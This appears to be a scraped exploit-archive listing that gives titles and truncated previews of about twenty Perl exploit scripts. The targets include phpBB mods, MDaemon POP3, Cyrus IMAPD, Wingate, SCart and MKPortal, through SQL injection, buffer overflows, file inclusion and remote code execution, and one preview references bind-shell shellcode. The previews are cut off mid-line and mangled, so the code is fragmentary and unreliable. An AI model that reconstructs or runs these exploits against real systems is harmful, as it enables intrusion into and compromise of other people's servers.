phpBB All Topics Mod 1.5.0 - 'start' SQL Injection

!/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID = Number: = ; $user = ; chop $user; if !$ARGV2...

MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow (PoC)

MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow PoC PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic Infigo IS $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x $host,PeerPort = '110', Proto = 'tcp' || die "socket error\n\n"; recv $sock, $var, 10000,0; print $var;...

MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC

No description provided by source. PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic [email protected] Infigo IS http://www.infigo.hr $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x 12 ; $x++ $sock = new IO::Socket::INET PeerAddr = $host,PeerPort = '110', Proto = 'tcp...

SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= SimpleBlog use IO::Socket; if@ARGV != 3 usage; else exploit; sub header print " SimpleBlog 2.0 SQL Injection Exploit \r\n"; print " www.asianeagle.org \r\n"; sub usage header;...

getpwnedmail-ppc.pl.txt

!/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-mini: kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhos...

Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (3)

!/usr/bin/perl Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: bid-18056.pl Date: 08/12/2006 Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public exploits and not either of them worked not that they don't but coding my own is generaly...

eIQnetworks ESA (Syslog Server) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================== eIQnetworks ESA Syslog Server Remote Buffer Overflow Exploit ============================================================== !/usr/bin/perl -w http://www.digitalmunition.com...

Cisco/Protego CS-MARS < 4.2.1 (JBoss) Remote Code Execution Exploit

Exploit for hardware platform in category remote exploits =================================================================== Cisco/Protego CS-MARS Addressed in CSCse47646 CS-MARS is an event correlation product orginally written by Protego, which is now owned by Cisco. It is built on top of JBos...

Microsoft Internet Explorer 6 - 'Content-Type' Stack Overflow Crash

!/usr/bin/perl Stack overflow in wininet.dll while parsing huge 1M Content-Type response ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow. discovered by Firestorm Usage: 1 run this code 2 open http://127.0.0.1/ with IE use IO::Socket; my $sock=new IO::Socket::INE...

SIPfoundry sipXtapi - 'CSeq' Remote Buffer Overflow (PoC)

!/usr/bin/perl PoC Exploit By [email protected] Remote Buffer Overflow in sipXtapi use IO::Socket; use strict; print "sipXtapi Exploit by Michael Thumann \n\n"; if not $ARGV0 print "Usage: sipx.pl \n"; exit; $target=$ARGV0; my $source ="127.0.0.1"; my $targetport = 5060; my $user ="bad"; my...

BXCP &lt;= 0.3.0.4 (where) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print q ------------------------------------------------------------------------------------- BXCP exploit by x23 curse-crew.de geekbar.cx.la geeknet.uttx.net use: bxcp.pl server dir id sample: $ perl bxcp.pl bxcp.com / 1 connectin...

WD-MKP.txt

!/usr/bin/perl -w MKPortal 1.0.1 Final index.php File Include Vulnerability Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho - BlackWHITE - r3v3ng4ns - Net^ViruS Details ======= Note : MKPortal 1.0.1 Final index.php File Include Vulnerability .$ind =...

GUESTEX-exec.pl.txt

Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: GUESTEX-exec.pl Date: 06/07/2006 Version: 1.00 1.00 06/07/2006 - GUESTEX-exec.pl created Description: GUESTEX guestbook is vulnerable to remote code execution in how it handles it's 'email' parameter. $form'email' is used when openni...

Bookmark4U.pl.txt

!/usr/bin/perl Bookmark4U Multiple Remote File Include perl bm4u.pl Federico Fazzi use IO::Socket; if@ARGV newPeerAddr=$host, PeerPort="http$port", Proto='tcp', Timeout='2'; if$socket print "\ntry $path$includers$count string!\n"; print $socket "GET ".$path."$includers$count".$cmd." HTTP/1.1\r\n"...

Guestex Guestbook 1.00 (email) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================================ Guestex Guestbook 1.00 email Remote Code Execution Exploit ============================================================ Creator: K-sPecial xzziroz.net of .aware awarenetwork.org...

QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit

No description provided by source. Proof of concept not for "in the wild" kiddies QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 german by kcope in 2006 use IO::Socket; if $ARGV0 eq "" print "param1 = remote host"; exit; win32bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaN...

QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================= QBik Wingate 6.1.1.1077 POST Remote Buffer Overflow Exploit ============================================================= Proof of concept not for "in the wild" kiddies QBik...

SCart 2.0 - page Remote Code Execution

SCart 2.0 - page Remote Code Execution !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl "cmd" Google Dork : site: scartserver.com Greetz: my soul...

SCart 2.0 (page) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================== SCart 2.0 page Remote Code Execution Exploit ============================================== !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory a...

myWebServer-1.0.txt

!/usr/bin/perl my Web Server new PeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = "TCP" print "++++++++++++++++++++++++++++++\n"; print "Connecting to $ARGV0:$ARGV1 ...\n"; print "++++++++++++++++++++++++++++++\n"; print "Exploit Send successfuly!!\n"; print "++++++++++++++++++++++++++++++\n"; print...